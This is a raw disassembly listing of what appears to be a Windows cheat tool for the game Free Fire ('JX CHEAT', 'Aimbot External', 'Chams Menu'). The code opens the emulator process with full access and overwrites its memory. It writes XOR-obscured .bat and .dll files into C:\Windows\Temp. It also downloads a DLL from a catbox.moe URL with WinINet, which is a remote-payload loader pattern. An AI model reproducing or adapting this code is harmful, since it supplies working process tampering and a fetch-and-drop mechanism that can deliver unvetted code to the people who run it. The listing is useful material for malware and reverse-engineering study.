pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x1401586e8]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14015a590]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.5555555555555555]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp + 0x28], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015a550]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp + 0x2c]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015a590]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.5555555555555555]
xorps xmm2, xmm0
movd dword [rbp + 0x2c], xmm2
movsxd rax, ecx
lea r8, [rbp + 0x28]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, esi
sub al, dl
movsx eax, al
imul edx, eax, 0x35
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0xc
jl 0x1400483e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x28]
call fcn.14004d9e0
cmp qword [0x1401c58c0], 0xf
lea rdx, [0x1401c58a8]
mov r8, qword [0x1401c58b8]
mov rcx, rax
cmova rdx, qword [0x1401c58a8]
call fcn.14004e710
mov r8d, Ordinal_35
lea rdx, str.C:WindowsTemp1bitk0.dll
lea rcx, [rbp + 0xa20]
call fcn.14004c340
mov r8, qword [rbp - 0x30]
lea rcx, [rbp + 0xa20]
mov rdx, qword [rbp - 0x38]
sub r8, rdx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0xa28]
call fcn.14004d560
test rax, rax
jne 0x1400484a6
mov rax, qword [rbp + 0xa20]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0xa20]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov eax, dword [str.813526]
lea r8, [rsp + 0x68]
xorps xmm0, xmm0
mov qword [rsp + 0x78], 6
movups xmmword [rsp + 0x68], xmm0
mov dword [rsp + 0x68], eax
lea rdx, [rbp - 0x68]
movzx eax, word [0x140158ec8]
lea rcx, [0x1401c5690]
mov word [rsp + 0x6c], ax
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x6e], 0
call fcn.1400c3320
cmp byte [0x1401c58a0], 0
jne 0x1400486a2
cmp byte [0x1401586f3], 0
movsd xmm0, qword [0x1401586e8]
mov eax, dword [0x1401586f0]
movsd qword [rbp + 0x34], xmm0
mov dword [rbp + 0x3c], eax
je 0x14004866c
mov ecx, r15d
cmp r14d, 2
jl 0x14004862a
movdqa xmm2, xmmword [0x14015a520]
mov ecx, 8
movdqa xmm4, xmmword [0x14015a700]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14015a540]
movdqa xmm0, xmm2
mov eax, dword [str.5555555555555555]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015a550]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14015a590]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401586e8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x34], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015a550]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015a590]
movd xmm1, dword [rbp + 0x38]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x38], xmm2
movsxd rax, ecx
lea r8, [rbp + 0x34]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, esi
sub al, dl
movsx eax, al
imul edx, eax, 0x35
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0xc
jl 0x140048640
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x34]
call fcn.14004d9e0
cmp qword [0x1401c58c0], 0xf
lea rdx, [0x1401c58a8]
mov r8, qword [0x1401c58b8]
mov rcx, rax
cmova rdx, qword [0x1401c58a8]
call fcn.14004e710
mov r8d, Ordinal_35
lea rdx, str.C:WindowsTempq9begd.bat
lea rcx, [rbp + 0x410]
call fcn.14004c340
mov r8, qword [rbp - 0x60]
lea rcx, [rbp + 0x410]
mov rdx, qword [rbp - 0x68]
sub r8, rdx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x418]
call fcn.14004d560
test rax, rax
jne 0x140048706
mov rax, qword [rbp + 0x410]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x410]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rax, qword [rbp + 0x410]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x410], rbx
mov rax, qword [rbp + 0x410]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x40c], edx
lea rcx, [rbp + 0x418]
call fcn.14004cfd0
lea rcx, [rbp + 0x420]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x4b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x1400487a4
mov rdx, qword [rbp - 0x58]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140048793
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c004
call fcn.14011b97c
xorps xmm0, xmm0
mov qword [rbp - 0x58], r15
movdqu xmmword [rbp - 0x68], xmm0
mov rax, qword [rbp + 0xa20]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xa20], rbx
mov rax, qword [rbp + 0xa20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xa1c], edx
lea rcx, [rbp + 0xa28]
call fcn.14004cfd0
lea rcx, [rbp + 0xa30]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xac8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x14004bb2c
mov rdx, qword [rbp - 0x28]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x14004882e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c004
call fcn.14011b97c
jmp 0x14004bb2c
cmp eax, 2
jne 0x140049dbe
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14004bb2c
mov r8, qword [0x1401a4480]
lea rcx, [rbp + 0x860]
mov dword [rbp + 0x1c0], 0x3f800000
mov dword [rbp + 0x1c4], 0x3f800000
mov qword [rbp + 0x1c8], 0
mov rax, qword [r8 + 0x3ef0]
mov dword [rbp + 0x1d0], 0x42c80000
mov dword [rbp + 0x1d4], 0x42c80000
mov dword [rbp + 0x1d8], 0x41200000
mov byte [rax + 0xb8], 1
movss xmm1, dword [0x1401da26c]
movss xmm0, dword [0x1401da268]
movss dword [rbp + 0x864], xmm1
movss xmm1, dword [0x1401da274]
mulss xmm1, dword [r8 + 0x37f0]
mov dword [rbp + 0x1dc], 0x41200000
movss dword [rbp + 0x860], xmm0
movss xmm0, dword [0x1401da270]
movss dword [rbp + 0x86c], xmm1
movss dword [rbp + 0x868], xmm0
call fcn.140004010
mov rcx, qword [r8 + 0x3ef0]
lea r9, [rbp + 0x1d0]
mov rdx, qword [0x1401a44f8]
lea r8, [rbp + 0x1d8]
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1c8]
mov rcx, qword [rcx + 0x298]
mov qword [rsp + 0x20], rax
call fcn.140023e10
mov rdi, qword [0x1401a4480]
mov rcx, qword [0x1401a44f0]
movss xmm0, dword [0x140172108]
mov rbx, rcx
mulss xmm0, xmm13
mov rax, qword [rdi + 0x3ef0]
mov qword [rbp - 0x68], rcx
subss xmm0, xmm9
mov byte [rax + 0xb8], 1
mov rax, qword [rdi + 0x3ef0]
movss xmm2, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm2, xmm0
movss xmm0, dword [0x14017210c]
mulss xmm0, xmm13
movss dword [rax + 0x100], xmm2
subss xmm0, dword [0x14015a3c4]
addss xmm1, xmm0
movss dword [rax + 0x104], xmm1
test rcx, rcx
jne 0x140048a0f
mov rcx, qword [rdi + 0x68]
mov rbx, rcx
test rcx, rcx
jne 0x140048a0b
mov rbx, qword [rdi + 0x58]
cmp dword [rbx + 0x58], ecx
jg 0x140048a01
mov r8d, 0x705
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax]
mov rbx, rcx
mov qword [rbp - 0x68], rcx
call fcn.140011c90
lea rcx, [rdi + 0x4858]
lea rdx, [rbp - 0x68]
call fcn.14001e800
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rdi + 0x3ef0]
mov rdx, qword [rdx + 8]
mov rcx, qword [rcx + 0x298]
call fcn.1400211e0
mov rcx, qword [0x1401a4480]
lea rbx, str.JX_CHEAT
mov qword [rsp + 0x30], r15
lea rdx, [rbp + 0x1e0]
mov qword [rsp + 0x28], rbx
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm10
movss xmm2, dword [rcx + 0x3c40]
mov rcx, qword [rcx + 0x3c38]
call fcn.14002a150
movss xmm0, dword [rbp + 0x1e0]
lea rcx, [rbp + 0x870]
movsd xmm2, qword [0x14015a340]
addss xmm0, xmm7
mov dword [rbp + 0x1ec], 0x42700000
cvttss2si eax, xmm0
movd xmm1, eax
mov rax, qword [0x1401a4480]
cvtdq2ps xmm1, xmm1
cvtps2pd xmm0, xmm1
movss dword [rbp + 0x1e0], xmm1
movss xmm1, dword [0x1401da2a8]
subsd xmm2, xmm0
movss dword [rbp + 0x870], xmm1
movss xmm1, dword [0x1401da2b0]
movss dword [rbp + 0x878], xmm1
movss xmm1, dword [0x1401da21c]
addsd xmm2, qword [0x14015a338]
movss dword [rbp + 0x884], xmm1
cvtpd2ps xmm0, xmm2
movss xmm2, dword [rax + 0x37f0]
movss dword [rbp + 0x1e8], xmm0
movss xmm0, dword [0x1401da2ac]
movss dword [rbp + 0x874], xmm0
movaps xmm0, xmm2
mulss xmm0, dword [0x1401da2b4]
mulss xmm2, dword [0x1401da224]
movss dword [rbp + 0x87c], xmm0
movss xmm0, dword [0x1401da218]
movss dword [rbp + 0x880], xmm0
movss xmm0, dword [0x1401da220]
movss dword [rbp + 0x888], xmm0
movss dword [rbp + 0x88c], xmm2
call fcn.140004010
lea rcx, [rbp + 0x880]
mov r8d, eax
call fcn.140004010
mov edx, eax
movaps xmm3, xmm6
lea rax, [rbp + 0x1e8]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140030ab0
call fcn.140011dc0
movss xmm0, dword [0x140172108]
lea rax, [rbp + 0x1f0]
movss xmm6, dword [0x14015a3ac]
lea r8, str.Game:
subss xmm0, xmm6
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rax
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x200]
mov dword [rbp + 0x1f0], 0
mov dword [rbp + 0x1f4], 0x3f000000
mov dword [rbp + 0x1fc], 0x43480000
movss dword [rbp + 0x1f8], xmm0
mov dword [rbp + 0x200], 0x42aa0000
mov dword [rbp + 0x204], 0x43200000
mov qword [rsp + 0x20], r15
call fcn.140005220
mov dword [rbp + 0x208], 0x3f800000
movss xmm0, dword [0x140172108]
lea rax, [rbp + 0x208]
subss xmm0, xmm6
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rax
lea r8, str.Free_Fire
lea rdx, [rbp + 0x210]
mov dword [rbp + 0x20c], 0x3f000000
lea rcx, [rbp + 0x218]
mov dword [rbp + 0x214], 0x43480000
mov dword [rbp + 0x218], 0x42aa0000
movss dword [rbp + 0x210], xmm0
mov dword [rbp + 0x21c], 0x43200000
mov qword [rsp + 0x20], r15
call fcn.140005220
movss xmm0, dword [0x140172108]
lea rax, [rbp + 0x220]
subss xmm0, xmm6
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rax
lea r8, str.Developer:
lea rdx, [rbp + 0x228]
mov dword [rbp + 0x220], 0
lea rcx, [rbp + 0x230]
mov dword [rbp + 0x224], 0x3f000000
mov dword [rbp + 0x22c], 0x437a0000
movss dword [rbp + 0x228], xmm0
mov dword [rbp + 0x230], 0x42aa0000
mov dword [rbp + 0x234], 0x433e0000
mov qword [rsp + 0x20], r15
call fcn.140005220
movss xmm0, dword [0x140172108]
lea rax, [rbp + 0x238]
subss xmm0, xmm6
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rax
lea r8, str.JAN_X
lea rdx, [rbp + 0x240]
mov dword [rbp + 0x238], 0x3f800000
lea rcx, [rbp + 0x248]
mov dword [rbp + 0x23c], 0x3f000000
mov dword [rbp + 0x244], 0x437a0000
movss dword [rbp + 0x240], xmm0
mov dword [rbp + 0x248], 0x42aa0000
mov dword [rbp + 0x24c], 0x433e0000
mov qword [rsp + 0x20], r15
call fcn.140005220
movss xmm0, dword [0x140172108]
lea rax, [rbp + 0x250]
subss xmm0, xmm6
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rax
lea r8, str.License:
lea rdx, [rbp + 0x258]
mov dword [rbp + 0x250], 0
lea rcx, [rbp + 0x260]
mov dword [rbp + 0x254], 0x3f000000
mov dword [rbp + 0x25c], 0x43960000
movss dword [rbp + 0x258], xmm0
mov dword [rbp + 0x260], 0x42aa0000
mov dword [rbp + 0x264], 0x435c0000
mov qword [rsp + 0x20], r15
call fcn.140005220
movss xmm0, dword [0x140172108]
lea rax, [rbp + 0x268]
subss xmm0, xmm6
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rax
lea r8, str.Basic
lea rdx, [rbp + 0x270]
mov dword [rbp + 0x268], 0x3f800000
lea rcx, [rbp + 0x278]
mov dword [rbp + 0x26c], 0x3f000000
mov dword [rbp + 0x274], 0x43960000
movss dword [rbp + 0x270], xmm0
mov dword [rbp + 0x278], 0x42aa0000
mov dword [rbp + 0x27c], 0x435c0000
mov qword [rsp + 0x20], r15
call fcn.140005220
mov rcx, qword [0x1401a4480]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [0x140172108]
lea rdx, [rbp + 0x280]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
lea rcx, str.Aimbot_External
mulss xmm0, xmm13
mov dword [rbp + 0x280], 0x438c0000
mov dword [rbp + 0x284], 0x420c0000
movss xmm2, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm0, xmm9
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm2, xmm0
addss xmm1, dword [0x14015a3f0]
movss dword [rax + 0x100], xmm2
movss dword [rax + 0x104], xmm1
call fcn.1400304c0
test al, al
je 0x14004924d
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rbx, qword [rsp + 0x70]
lea rcx, str.HD_Player.exe
mov rdi, qword [rsp + 0x78]
call fcn.140045180
test eax, eax
je 0x140048f3c
mov r8d, eax
mov dword [0x1401c5630], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1401c5638], rax
xorps xmm0, xmm0
mov qword [rbp - 0x58], r15
mov edx, 0xdc
mov dword [rbp + 0x410], 0
lea rcx, [rbp - 0x38]
mov qword [rbp + 0x414], 0x43a50000
movdqu xmmword [rbp - 0x68], xmm0
mov qword [rbp + 0x41c], 0x3f3f3f3f
movdqu xmmword [rbp - 0x38], xmm0
mov dword [rbp + 0x424], 0
mov dword [rbp + 0x428], 0x3f3f3f3f
mov dword [rbp + 0x42c], 0x3f3f3f3f
mov dword [rbp + 0x430], 0x3f3f3f3f
mov dword [rbp + 0x434], 0x3f3f3f3f
mov dword [rbp + 0x438], 0x3f3f3f3f
mov dword [rbp + 0x43c], 0x3f3f3f3f
mov dword [rbp + 0x440], 0x3f3f3f3f
mov dword [rbp + 0x444], 0x3f3f3f3f
mov dword [rbp + 0x448], 0x3f3f3f3f
mov dword [rbp + 0x44c], 0x3f3f3f3f
mov dword [rbp + 0x450], 0x3f3f3f3f
mov dword [rbp + 0x454], 0x3f3f3f3f
mov dword [rbp + 0x458], 0x3f3f3f3f
mov dword [rbp + 0x45c], 0x3f3f3f3f
mov dword [rbp + 0x460], 0x3f3f3f3f
mov dword [rbp + 0x464], 0x3f3f3f3f
mov dword [rbp + 0x468], 0x3f3f3f3f
mov dword [rbp + 0x46c], 0x3f3f3f3f
mov dword [rbp + 0x470], 0x3f3f3f3f
mov dword [rbp + 0x474], 0x3f3f3f3f
mov dword [rbp + 0x478], 0x3f3f3f3f
mov dword [rbp + 0x47c], 0x3f3f3f3f
mov dword [rbp + 0x480], 0x3f3f3f3f
mov dword [rbp + 0x484], 0x3f3f3f3f
mov dword [rbp + 0x488], 0x3f3f3f3f
mov dword [rbp + 0x48c], 0x3f3f3f3f
mov dword [rbp + 0x490], 0x3f3f3f3f
mov dword [rbp + 0x494], 0x3f3f3f3f
mov qword [rbp + 0x498], 0x3f3f3f3f
mov qword [rbp + 0x4a0], 0
mov qword [rbp + 0x4a8], 0
mov qword [rbp + 0x4b0], 0
mov qword [rbp + 0x4b8], 0
mov qword [rbp + 0x4c0], 0
mov qword [rbp + 0x4c8], 0
mov dword [rbp + 0x4d0], 0x3f3f0000
mov qword [rbp + 0x4d4], 0x3f3f
mov qword [rbp + 0x4dc], 0
mov dword [rbp + 0x4e4], 0
mov dword [rbp + 0x4e8], 0xbf800000
mov qword [rbp - 0x28], r15
call fcn.14003c750
mov rsi, qword [rbp - 0x38]
lea rdx, [rbp + 0x410]
mov rcx, rsi
mov r8d, 0xdc
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp - 0x68]
mov r9, rsi
mov r8, rdi
mov qword [rsp + 0x20], rax
mov rdx, rbx
lea rcx, [0x1401c5630]
call fcn.140045250
mov r15, qword [rbp - 0x68]
mov r14, qword [rbp - 0x60]
mov rdi, r15
cmp r15, r14
je 0x1400491c4
nop dword [rax]
mov rbx, qword [rdi]
lea r8, [rbp + 0x40]
mov rcx, qword [0x1401c5638]
mov r9d, 4
mov qword [rsp + 0x20], 0
lea rdx, [rbx + 0x2c]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [0x1401c5638]
lea rdx, [rbx + 0x28]
mov r9d, 4
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add rdi, 8
cmp rdi, r14
jne 0x140049170
mov edx, 0x190
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Beep]
test rsi, rsi
je 0x14004920d
mov rdx, qword [rbp - 0x28]
mov rax, rsi
sub rdx, rsi
cmp rdx, 0x1000
jb 0x140049205
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c00b
mov rcx, rsi
call fcn.14011b97c
test r15, r15
je 0x14004924a
mov rdx, qword [rbp - 0x58]
mov rax, r15
sub rdx, r15
and rdx, 0xfffffffffffffff8
cmp rdx, 0x1000
jb 0x140049242
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c00b
mov rcx, r15
call fcn.14011b97c
xor r15d, r15d
mov rbx, qword [0x1401a4480]
cmp dword [rbx + 0x48c0], 0
jg 0x140049277
mov r8d, 0x705
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48c8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140007e10
movss xmm1, dword [0x1401da2cc]
mov rbx, rax
movss xmm0, dword [0x1401da2c8]
mov rcx, qword [0x1401a4480]
movss dword [rbp + 0x894], xmm1
movss xmm1, dword [0x1401da2d4]
movss dword [rbp + 0x890], xmm0
mulss xmm1, dword [rcx + 0x37f0]
lea rcx, [rbp + 0x890]
movss xmm0, dword [0x1401da2d0]
movss dword [rbp + 0x898], xmm0
movss dword [rbp + 0x89c], xmm1
call fcn.140004010
movsd xmm0, qword [0x140172108]
mov r14d, eax
mov rdi, qword [0x1401a4498]
movsd qword [rbp - 0x68], xmm0
mov dword [rbp + 0x288], 0x3f800000
mov dword [rbp + 0x28c], 0x3f800000
mov qword [rbp + 0x290], 0
mov qword [rbp + 0x298], 0
test eax, 0xff000000
je 0x1400493dc
mov rsi, qword [rbx + 0x98]
cmp rdi, rsi
je 0x140049350
mov rdx, rdi
mov rcx, rbx
call fcn.1400211e0
mov edx, 6
mov rcx, rbx
lea r8d, [rdx - 2]
call fcn.140021260
lea rax, [rbp + 0x288]
mov dword [rsp + 0x28], r14d
lea r9, [rbp + 0x290]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x68]
mov rcx, rbx
lea rdx, [rbp + 0x298]
call fcn.1400213a0
cmp rdi, rsi
je 0x1400493dc
cmp dword [rbx + 0x68], 0
jg 0x1400493b1
mov r8d, 0x71b
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x1400493c4
mov rax, r15
jmp 0x1400493cd
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140020f70
mov rcx, qword [0x1401a4480]
lea rdx, [rbp + 0x2a0]
movss xmm0, dword [0x140172108]
mulss xmm0, xmm13
mov dword [rbp + 0x2a0], 0x438c0000
mov rax, qword [rcx + 0x3ef0]
mov dword [rbp + 0x2a4], 0x420c0000
subss xmm0, xmm9
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
lea rcx, str.Chams_Menu
movss xmm2, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm2, xmm0
addss xmm1, dword [0x14015a3f8]
movss dword [rax + 0x100], xmm2
movss dword [rax + 0x104], xmm1
call fcn.1400304c0
test al, al
je 0x1400498d5
xorps xmm0, xmm0
mov qword [rsp + 0x78], r15
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp - 0x80], r15
movups xmmword [rsp + 0x68], xmm0
call fcn.14011b630
movups xmm0, xmmword [str.C:WindowsTemp_fi625v.dll]
mov qword [rsp + 0x68], rax
lea r8, [rbp + 0x44]
mov qword [rsp + 0x78], reloc.WLDAP32.dll_Ordinal_26
mov r9d, 4
mov qword [rbp - 0x80], Ordinal_32
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140158f48]
lea edx, [r9 + 0x1b]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140158f50]
mov word [rax + 0x18], cx
xor ecx, ecx
mov byte [rax + 0x1a], 0
mov dword [rbp + 0x44], 0xc00
call qword [sym.imp.WININET.dll_InternetSetOptionA]
xorps xmm0, xmm0
mov qword [rbp + 0x70], r15
mov ecx, Ordinal_50
mov qword [rbp + 0x78], r15
movups xmmword [rbp + 0x60], xmm0
call fcn.14011b630
movups xmm0, xmmword [str.https:__files.catbox.moe_fi625v.dll]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x70], reloc.WLDAP32.dll_Ordinal_35
mov qword [rbp + 0x78], Ordinal_50
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140158f68]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x140158f78]
mov word [rax + 0x20], cx
movzx ecx, byte [0x140158f7a]
mov byte [rax + 0x22], cl
lea rcx, [rsp + 0x68]
mov byte [rax + 0x23], 0
cmp qword [rbp - 0x80], 0xf
cmova rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14004956e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x140049773
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.User_Agent
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
cmp qword [rbp + 0x78], 0xf
lea rdx, [rbp + 0x60]
mov qword [rsp + 0x28], r15
mov rcx, rax
cmova rdx, qword [rbp + 0x60]
mov rdi, rax
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140049721
cmp qword [rbp - 0x80], 0xf
lea rdx, [rsp + 0x68]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x410]
cmova rdx, qword [rsp + 0x68]
call fcn.14004c340
mov rax, qword [rbp + 0x410]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x410], rsi
mov rax, qword [rbp + 0x410]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x40c], edx
mov rax, qword [rbp + 0x410]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x410]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1400496c7
lea r9, [rbp]
mov r8d, 0x400
lea rdx, [rbp + 0xa20]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140049694
mov eax, dword [rbp]
test eax, eax
je 0x140049694
mov r8d, eax
lea rdx, [rbp + 0xa20]
lea rcx, [rbp + 0x410]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rbp]
mov r8d, 0x400
lea rdx, [rbp + 0xa20]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140049658
lea rcx, [rbp + 0x418]
call fcn.14004d560
test rax, rax
jne 0x1400496c7
mov rax, qword [rbp + 0x410]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x410]
add rcx, rax
